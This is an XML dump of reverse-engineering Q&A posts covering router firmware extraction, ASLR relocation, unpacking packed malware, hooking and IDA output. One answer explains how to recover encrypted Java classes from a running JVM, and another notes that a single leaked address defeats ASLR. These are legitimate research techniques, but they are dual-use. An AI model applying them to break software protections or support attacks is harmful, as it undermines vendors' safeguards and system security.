  <row Id="26232" PostTypeId="1" CreationDate="2020-11-03T12:54:35.713" Score="5" ViewCount="833" Body="&lt;p&gt;After trying to unsquash a firmware dump from a router without success, I am asking for help.&lt;/p&gt;&#xA;&lt;p&gt;I have a router with a BCM68380 CPU. After desoldering the TOSHIBA NAND chip I dumped the firmware (&lt;a href=&quot;https://drive.google.com/file/d/1IZHE-zeCw8focYDzqM69pqCP_kIgIraW/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to the FW&lt;/a&gt;) and proceed to extract it. Binwalk shows the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;49788         0xC27C          CRC32 polynomial table, big endian&#xA;589312        0x8FE00         CRC32 polynomial table, big endian&#xA;2289136       0x22EDF0        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;2703360       0x294000        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;3808793       0x3A1E19        MySQL MISAM compressed data file Version 5&#xA;5477496       0x539478        uImage header, header size: 64 bytes, header CRC: 0x1BD6643, created: 2017-08-31 09:59:50, image size: 26791936 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x8212135E, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: &amp;quot;rootfs&amp;quot;&#xA;5477560       0x5394B8        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 26790128 bytes, 2251 inodes, blocksize: 262144 bytes, created: 2017-08-31 09:59:50&#xA;32416240      0x1EEA1F0       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced&#xA;32686576      0x1F2C1F0       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced&#xA;46083560      0x2BF2DE8       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;46497792      0x2C58000       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;49270176      0x2EFCDA0       uImage header, header size: 64 bytes, header CRC: 0xFE9B6F73, created: 2017-01-09 09:50:20, image size: 25706496 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xD5593BBC, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: &amp;quot;rootfs&amp;quot;&#xA;49270240      0x2EFCDE0       Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 25703081 bytes, 2266 inodes, blocksize: 262144 bytes, created: 2017-01-09 09:50:20&#xA;74999328      0x4786620       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced&#xA;75269664      0x47C8620       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced&#xA;91914240      0x57A8000       UBI erase count header, version: 1, EC: 0x17, VID header offset: 0x800, data offset: 0x1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When extracted, the following files are shown (the squashfs.root folder is empty)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2EFCDE0.squashfs  5394B8.squashfs  57A8000.ubi  squashfs-root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I tried to uncompress the squashfs filesystem. At first I tried with unsquashfs which gave me this result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Lseek failed because Invalid argument&#xA;File system corruption detected&#xA;FATAL ERROR:failed to read file system tables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the other hand &lt;code&gt;sasquatch&lt;/code&gt; gave me this result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SquashFS version [4.0] / inode count [2266] suggests a SquashFS image of the same endianess&#xA;Parallel unsquashfs: Using 1 processor&#xA;Lseek failed because Invalid argument&#xA;read_block: failed to read block @0xbe23b7988e38debe&#xA;read_uids_guids: failed to read id table block&#xA;FATAL ERROR:failed to uid/gid table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also tried the same with &lt;code&gt;firmware-mod-kit&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&#xA;&#xA;Scanning firmware...&#xA;&#xA;Scan Time:     2020-11-03 13:49:05&#xA;Target File:   /mnt/c/Users/Ismael/Desktop/Nueva/Flash_data.bin&#xA;MD5 Checksum:  31b617568a1ca2e060bea93fd23de338&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;49788         0xC27C          CRC32 polynomial table, big endian&#xA;589312        0x8FE00         CRC32 polynomial table, big endian&#xA;2289136       0x22EDF0        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;2703360       0x294000        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;3808793       0x3A1E19        MySQL MISAM compressed data file Version 5&#xA;5477496       0x539478        uImage header, header size: 64 bytes, header CRC: 0x1BD6643, created: 2017-08-31 09:59:50, image size: 26791936 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x8212135E, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: &amp;quot;rootfs&amp;quot;&#xA;5477560       0x5394B8        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 26790128 bytes, 2251 inodes, blocksize: 262144 bytes, created: 2017-08-31 09:59:50&#xA;32416240      0x1EEA1F0       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced&#xA;32686576      0x1F2C1F0       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced&#xA;46083560      0x2BF2DE8       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;46497792      0x2C58000       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;linux&amp;quot;&#xA;49270176      0x2EFCDA0       uImage header, header size: 64 bytes, header CRC: 0xFE9B6F73, created: 2017-01-09 09:50:20, image size: 25706496 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xD5593BBC, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: &amp;quot;rootfs&amp;quot;&#xA;49270240      0x2EFCDE0       Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 25703081 bytes, 2266 inodes, blocksize: 262144 bytes, created: 2017-01-09 09:50:20&#xA;74999328      0x4786620       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced&#xA;75269664      0x47C8620       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced&#xA;91914240      0x57A8000       UBI erase count header, version: 1, EC: 0x17, VID header offset: 0x800, data offset: 0x1000&#xA;&#xA;Extracting 49270240 bytes of  header image at offset 0&#xA;Extracting squashfs file system at offset 49270240&#xA;Extracting squashfs files...&#xA;[sudo] password for ismael:&#xA;Firmware extraction successful!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It didn't give me any errors but it didn`t extract any squashfs files.&lt;/p&gt;&#xA;&lt;p&gt;To remove the OOB in the firmware I have used &lt;a href=&quot;https://github.com/Hitsxx/NandTool&quot; rel=&quot;nofollow noreferrer&quot;&gt;NandTool&lt;/a&gt;&#xA;, which removes the OOB data.&lt;/p&gt;&#xA;&lt;p&gt;Any help will be appreciated.Thanks.&lt;/p&gt;&#xA;&lt;p&gt;Edit: Firmware with &amp;quot;Include Spare area&amp;quot; disabled &lt;a href=&quot;https://drive.google.com/file/d/1Gb3wghERwTsNJuf93hqZxXRfkSGLJ4hG/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34846" LastEditorUserId="34846" LastEditDate="2020-11-11T11:30:17.617" LastActivityDate="2023-05-06T20:38:59.387" Title="Unable to unsquash from a FW dump" Tags="|firmware|binwalk|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26233" PostTypeId="2" ParentId="26232" CreationDate="2020-11-03T14:37:04.910" Score="2" Body="&lt;p&gt;Most likely your dump includes spare (or OOB) bytes while most file formats only consider user-accessible areas. You can either &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15099/60&quot;&gt;figure out the dump structure&lt;/a&gt; and remove OOB chunks or simply re-dump without the spare area. After that extraction should work.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-03T14:37:04.910" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26234" PostTypeId="2" ParentId="26221" CreationDate="2020-11-03T16:29:34.727" Score="3" Body="&lt;p&gt;Yes.&#xA;Executable relocations, whether performed for optimization or security, will only relocate the image (executable, shared object) as a whole.&lt;/p&gt;&#xA;&lt;p&gt;For that reason, to bypass ASLR for example, any single address within a chosen shared object is sufficient. Given, of course, you know the precise version and build of the shared object. Knowing the specific build might be an issue by itself, however.&lt;/p&gt;&#xA;&lt;p&gt;The reason relocations are done at the shared object level (and not, say, the function level) is because a shared object often has many internal relative references. Those are references that are addressed relatively (and not absolutely) within a single shared object.&lt;/p&gt;&#xA;&lt;p&gt;In order to relocate at a lower level, many more relocation fixes will be required of the loader.&lt;/p&gt;&#xA;&lt;p&gt;Moreover, and this is more of a historic reason than a technological one, relocations were intended to solve a problem with sharing an address space between multiple shared objects. There was simply no need to do more than change the location of a module altogether. The same base properties were later used for enabling ASLR.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2020-11-06T04:40:29.190" LastActivityDate="2020-11-06T04:40:29.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26235" PostTypeId="2" ParentId="26231" CreationDate="2020-11-03T19:04:15.777" Score="2" Body="&lt;p&gt;Assemblers are faced with a similar problem: the user writes textual labels such as &lt;code&gt;@loop&lt;/code&gt;, and references them in conditional branch instructions such as &lt;code&gt;jbe @loop&lt;/code&gt;. However, the assembler does not know ahead of time how far the branch is from the label (in order to generate the displacement for the branch). It only learns that after generating machine code for the rest of the instructions.&lt;/p&gt;&#xA;&lt;p&gt;What to do about this? Re-introduce symbolic labels. Instead of representing the &lt;code&gt;jne&lt;/code&gt; as &lt;code&gt;jne 0x42&lt;/code&gt; -- which has the address directly inside of it -- represent it as &lt;code&gt;jne top_of_loop&lt;/code&gt;. Then, after you've added garbage instructions, compute the length from the &lt;code&gt;jne&lt;/code&gt; to &lt;code&gt;top_of_loop&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-03T19:04:15.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26237" PostTypeId="2" ParentId="11746" CreationDate="2020-11-04T11:00:43.697" Score="0" Body="&lt;p&gt;I also had this issue, where I was trying to decompile some java classes but they were all encrypted and I think there is a non obvious solution I would like to mention before I describe how to actually do the decrypting and that is:&lt;/p&gt;&#xA;&lt;p&gt;(1) Try and find an older version of the software that doesn't contain encrypted classes. If it is a public application you might be able to find older version on archive.org and it's very possible that the classes were not encrypted in the older version.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;However, if you are stuck with an encrypted jar, or java application loaded from a native application then there is a pretty obvious way to decrypt it, and the principle of how to do this are described &lt;a href=&quot;https://www.infoworld.com/article/2077342/cracking-java-byte-code-encryption.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this infoworld article&lt;/a&gt;. But these are just the principles, how do you do this in practice?&lt;/p&gt;&#xA;&lt;p&gt;Well the most obvious way that I found is to dump the classes loaded by the jvm. The article describes making edits to .class files that pretty much do exactly this, but it's kinda hard to do this if your class files are loaded by a .exe or something. Whether you're trying to decrypt a java class that is loaded by a .exe/.dmg/.jar it will have to at some point touch a jvm - I think. Knowing this, we can use an external tool to do the dumping instead of editing the java program to dump its own files.&lt;/p&gt;&#xA;&lt;p&gt;At a high level the way to do this is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download &lt;a href=&quot;https://github.com/hengyunabc/dumpclass&quot; rel=&quot;nofollow noreferrer&quot;&gt;dumpclass.jar&lt;/a&gt;- this is the external tool that can look in the jvm and dump the classes we care about.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup dumpclass.jar -&#xA;This step is a bit annoying because dumpclass.jar needs to run on the same jvm that is running your encrypted java classes. What makes it harder is that dumpclass.jar depends on some parts of the jdk which, if your application is using a .exe to launch itself, it can be pretty hard to use a specific jvm, like the one from the jdk, to launch it. Also it can be difficult if your java application will only run on an older version of the jvm, which doesn't support dumpclass.jar, or will only think java is installed if it finds a &lt;code&gt;/jre/&lt;/code&gt; folder on your computer, despite what you set the &lt;code&gt;JVM_HOME&lt;/code&gt; environmental variable to. This step is actually a lot annoying and it's hard to give a step by step description because it depends a lot on what you're trying to reverse engineer. However, assuming your java application can run on a jvm that is higher than 1.6, because before that one of the dependencies of dumpclass works in a weird way, then ideally you will: (1a) install the jdk(!) of your choice. (1b) Run your java application with the jvm in the jdk...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run dumpclass.jar with the jvm in the jdk and make sure it can display a usage message&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you can get the process of the java application with the java classes you want to decrypt, if this is an exe you will use the exe process id.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the dumpclass.jar command, on the process id, with a small modification. The original command asks you to give a filter so that you don't get every class on the jvm. However, I think it is much simpler to just get every class in the jvm and the browse to the one you are looking for in once they have been dumped. Specifically, while the dumpclass docs say you should do this &lt;code&gt;java -jar dumpclass.jar -p 4345 *StringUtils&lt;/code&gt; rather do this &lt;code&gt;java -jar dumpclass.jar -p 4345&lt;/code&gt; - the files should all be dumped right next to the location of the dumpclass jar. And then you can browse through them to find the decrypted .class files of the application you care about.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;NB: If dumpclass says 0 classes dumped after you run it, but takes a while to do the dumping, ignore it, the classes were dumped and for some reason it is not reporting the correct number of classes.&lt;/strong&gt; If you don't see the classes next to dumpclass.jar try setting the output path explicitly.&lt;/p&gt;&#xA;&lt;p&gt;Some other tips:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you run into an error that talks about &lt;code&gt;SwDbgSrv&lt;/code&gt; see my answer here: &lt;a href=&quot;https://stackoverflow.com/questions/10783256/how-to-start-swdbgsrv-exe-in-windows-7/64321750#64321750&quot;&gt;https://stackoverflow.com/questions/10783256/how-to-start-swdbgsrv-exe-in-windows-7/64321750#64321750&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://github.com/Konloch/bytecode-viewer&quot; rel=&quot;nofollow noreferrer&quot;&gt;bytecode-viewer&lt;/a&gt; to decompile the classes once you have decrypted them, it's &lt;em&gt;really good&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you run into other errors about missing java libraries then its possible that dumpclass is not using the jdk jvm, in which case you will either have to make sure it is, or copy the libraries from jdk jvm to the jre jvm. For example this happened to me with the sa-jdi.jar, it was included with the jdk but because I was using the jre jvm, because the application I was trying to decompile couldn't find the jdk, I ran into tons of errors. I eventually tried to download the .jar just from a google search and that caused even more errors. If this happens to you, you will pretty much just need to download the jdk for your jre version and copy the specific libraries it can't find from the jdk to the jre. There are only a few.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34640" LastActivityDate="2020-11-04T11:00:43.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26238" PostTypeId="1" CreationDate="2020-11-04T13:09:07.207" Score="0" ViewCount="301" Body="&lt;p&gt;thank for reading, i'm a beginner trying to learn Malware Analysis and Reverse Engineering, at the moment I readed the book &amp;quot;Learning Malware Analysis&amp;quot;, I fully understand it, but there is just one section that i can't grasp, Unpacking, I tried to manually unpack UPX without success even if I watched tutorial and did the exact same thing (Breakpoint on the famous jump and then dump with scylla and rebuild IAT, but nothing).&#xA;I don't understand how detect the instructions that unpack the executable, can someone give me the right resources to start learning unpacking? I already have tutorials like &amp;quot;unpacking xxxx&amp;quot; but I would prefere something more general, concepts that I need to know, I hope you understand my question, tell me if I said something wrong, thank you.&lt;/p&gt;&#xA;" OwnerUserId="34851" LastActivityDate="2020-11-05T01:24:07.733" Title="Question about unpacking" Tags="|unpacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26241" PostTypeId="1" AcceptedAnswerId="26274" CreationDate="2020-11-04T17:41:55.267" Score="3" ViewCount="344" Body="&lt;p&gt;I am writing an app to analyze .wav audio files and extract metadata.  The way the metadata works for RIFF based files is shown in this picture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OwQXU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OwQXU.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You need to have &amp;quot;format&amp;quot; and &amp;quot;data&amp;quot; subchunks, but then you can have as many subchunks as you want in the file.  To extract a particular subchunk, you go to the first subchunk, read it's ID, and if its not the one you are looking for you get the subchunk size and then skip to the next subchunk ID.&lt;/p&gt;&#xA;&lt;p&gt;Other examples of &amp;quot;open&amp;quot; subchunks are iXML and ID3.  The one in particular I am hoping to read is from Soundminer, which is a searchable database program.  Their subchunk ID is &amp;quot;SMED&amp;quot; so I am able to find that and copy the contents of their metadata.  Being that it is a closed subchunk, I'm having difficulty turning that data into a readable format.&lt;/p&gt;&#xA;&lt;p&gt;That being said, I have access to Soundminer, so I am able to write specific strings in the SMED  metadata to hopefully decipher later in the data dump.&lt;/p&gt;&#xA;&lt;p&gt;Since I'm completely new to this, I'm looking for advice on the best strategy to reverse engineer this metadata.  It is a massive subchunk with the ability to store images and and waveform caches.  I'm looking to just get some of the more simple data like &amp;quot;Description&amp;quot; and &amp;quot;Microphone&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I am on macOS so that may limit my methods.  Also the app is being written in swift, but my current method is to dump out the hex values of that data to a text file and manually look for patterns, which I've been able to see some.  For example if I write the letter &amp;quot;a&amp;quot; to the description, then analyze the file, I'll get the same repeated 16 digit value &lt;code&gt;09 14 c2 0c c3 0f 9f 8c&lt;/code&gt;, but if I put just one &amp;quot;a&amp;quot; then that value isn't there.  It seems like it needs &amp;quot;aaaaaaaa&amp;quot; to give me the &lt;code&gt;09 14 c2 0c c3 0f 9f 8c&lt;/code&gt;.  Obviously this a flawed strategy and not very likely to yield results.&lt;/p&gt;&#xA;" OwnerUserId="34854" LastActivityDate="2020-11-09T11:57:58.590" Title="Extract closed format metadata from audio file" Tags="|macos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26243" PostTypeId="1" CreationDate="2020-11-04T18:40:43.237" Score="1" ViewCount="107" Body="&lt;p&gt;I am looking for instruction-level hooking library for win32 x86/x64.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I want to write hook insertion and hook implementation code in C/C++ (compiled into dll).&#xA;(Therefore instrumentation tools are out of question. Injection is not a problem in my case.)&lt;/li&gt;&#xA;&lt;li&gt;I need hooking onto arbitrary addresses.&#xA;I want the hooking library saving registers, call my native function, and then restoring registers, and return/jump to specific addresses.&lt;/li&gt;&#xA;&lt;li&gt;It is very tedious to do this on manually at a per-site basis and therefore I want an existing library. Furthermore, x64 MSVC does not support asm. It seems that manual hook is impossible unless other tool-chain are used?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Does such kind of hooking libraries exists?&lt;/p&gt;&#xA;" OwnerUserId="34856" LastActivityDate="2020-11-04T18:40:43.237" Title="Instruction-level hooking library for win32?" Tags="|windows|x86|x86-64|libraries|hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26244" PostTypeId="2" ParentId="26238" CreationDate="2020-11-04T19:50:38.033" Score="0" Body="&lt;p&gt;learn the basics of how packers works; I haven't read the book that you mentioned, but it should discuss it;&lt;/p&gt;&#xA;&lt;p&gt;Detect whether it uses custom packer or known (commercial) packer:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;there is known sections; UPX0&lt;/li&gt;&#xA;&lt;li&gt;tools like Detect It Easy will identify it;&lt;/li&gt;&#xA;&lt;li&gt;if that was not the case, it's mostly custom packer;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Unpacking known packers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;usually there is pushad/popad combination that lead to OEP.&lt;/li&gt;&#xA;&lt;li&gt;there is far jump; meaning that sample will jump from one section to another, or similar thing. jump target usually has no actual meaning unless sample reach that address. (actual instructions will be written there). push &amp;quot;address&amp;quot; ret; jump &amp;quot;register&amp;quot;; jump &amp;quot;address&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;you will duckduckgo it and find some forums that talk about this particular packer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;if these are the case, follow: &lt;a href=&quot;https://www.virusbulletin.com/virusbulletin/2012/04/quick-reference-manual-unpacking&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virusbulletin.com/virusbulletin/2012/04/quick-reference-manual-unpacking&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unpacking Custom Packers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;trace it's API Calls either with DBI or inline hooking; there are tools out there that do it for you. find the point that the malware starts it's actual malicious activity; put breakpoint on corresponding APIs and dump the payload.&#xA;I usually put breakpoint on VirtualAlloc, VirtualProtect, CreateProcessInternalW, WriteProcessMemory depending on sample.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34857" LastEditorUserId="34857" LastEditDate="2020-11-04T20:10:20.847" LastActivityDate="2020-11-04T20:10:20.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26247" PostTypeId="2" ParentId="26238" CreationDate="2020-11-05T01:24:07.733" Score="1" Body="&lt;p&gt;Manually unpacking is an art that takes lots of practice, but you're starting off right by working on the most simple examples. You need to have a solid understanding of the tools involved in the process and the PE file format. There are quite a few resources out there, but I've had great success spinning up folks with [yates] old docs on PE files, and Lena's tutorials (the unpacking specific things) Lena's tuts are old, but for understanding some core concepts they're still pretty relevant (x86 isn't completely dead just yet). If you want to go forward with more, there are quite a few unpackme's out for different targets too. You should be able to follow along with relative ease using x64dbg instead of olly for those tutorials as well.&lt;/p&gt;&#xA;&lt;p&gt;So for starters, I'd suggest snagging &lt;a href=&quot;https://forum.tuts4you.com/files/file/1307-lenas-reversing-for-newbies/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lena's tuts&lt;/a&gt;. If you're use to the toolset you probably can jump right in with Part 20 &amp;amp; 21, part 21 has a UPX unpackme, but part 20 teaches some other core concepts.&lt;/p&gt;&#xA;&lt;p&gt;Familiarize yourself with the PE file format, I really liked [yates] info on &lt;a href=&quot;https://web.archive.org/web/20180305002212/http://www.reverse-engineering.info/PE_Information/PE_Notes.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE files&lt;/a&gt; also his &lt;a href=&quot;https://web.archive.org/web/20180305002416/http://www.reverse-engineering.info/PE_Information/Understanding_ImportTables.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Import tables&lt;/a&gt; article is also a great read. Finally, his &lt;a href=&quot;http://www.reteam.org/papers/e54.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Program Flow&lt;/a&gt; paper ties a lot of that info together well, with some really solid and simple x86/win32 asm code examples to show you how to write your own tools.&lt;/p&gt;&#xA;&lt;p&gt;Also a decent resource on PE things is &lt;a href=&quot;http://index-of.es/Windows/pe/CBM_1_2_2006_Goppit_PE_Format_Reverse_Engineer_View.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Goppit's Code Breaker&lt;/a&gt; article. It's rather in depth, but covers about any question you could have.&lt;/p&gt;&#xA;&lt;p&gt;That should be enough to get you started down the right path, knowing your tools and knowing what docs to read is definitely half the battle. Good luck, you can do it. archive.org and is your friend if you can't find some of the files linked in those tuts.&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2020-11-05T01:24:07.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26248" PostTypeId="2" ParentId="25220" CreationDate="2020-11-05T03:49:01.987" Score="0" Body="&lt;p&gt;Note that you do not have to take care of relocations if you just hard code the image base and remove the &lt;code&gt;.reloc&lt;/code&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;Typically EXE files didn't use to be relocatable at all because they don't need to because they have their own address space. With the introduction of ASLR, EXE files got a &lt;code&gt;.reloc&lt;/code&gt; table for security but they still work just as well without one.&lt;/p&gt;&#xA;&lt;p&gt;So if you have a dump of a file that has been relocated, just &amp;quot;fix&amp;quot; that image base in the PE header and remove the &lt;code&gt;.reloc&lt;/code&gt; section and your binary should work.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-11-05T03:49:01.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26249" PostTypeId="1" AcceptedAnswerId="26250" CreationDate="2020-11-05T06:22:45.740" Score="0" ViewCount="152" Body="&lt;p&gt;Is there a way to customize the format of IDA's decompiled code?&lt;/p&gt;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char buf[7]; // [rsp+5h] [rbp-1Fh]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char buf[ 7 ]; // [ rsp + 5h ] [ rbp - 1Fh ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;switch (c)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;switch( c )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34859" LastActivityDate="2020-11-05T07:05:49.297" Title="Custom IDA Decompilation Format" Tags="|ida|decompilation|c|ida-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26250" PostTypeId="2" ParentId="26249" CreationDate="2020-11-05T07:05:49.297" Score="3" Body="&lt;p&gt;Not possible, either through a configuration option or through a plugin. For example, here is the part of the code that prints the &lt;code&gt;[rbp-1Fh]&lt;/code&gt; from your example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;qsnprintf(v16, v36 - v16, &amp;quot;[%s%c%ah]&amp;quot;, gpPlatformStackPointerName, v20, v29);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I.e. the format string that produces it is hard-coded in the binary and cannot be modified.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-05T07:05:49.297" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
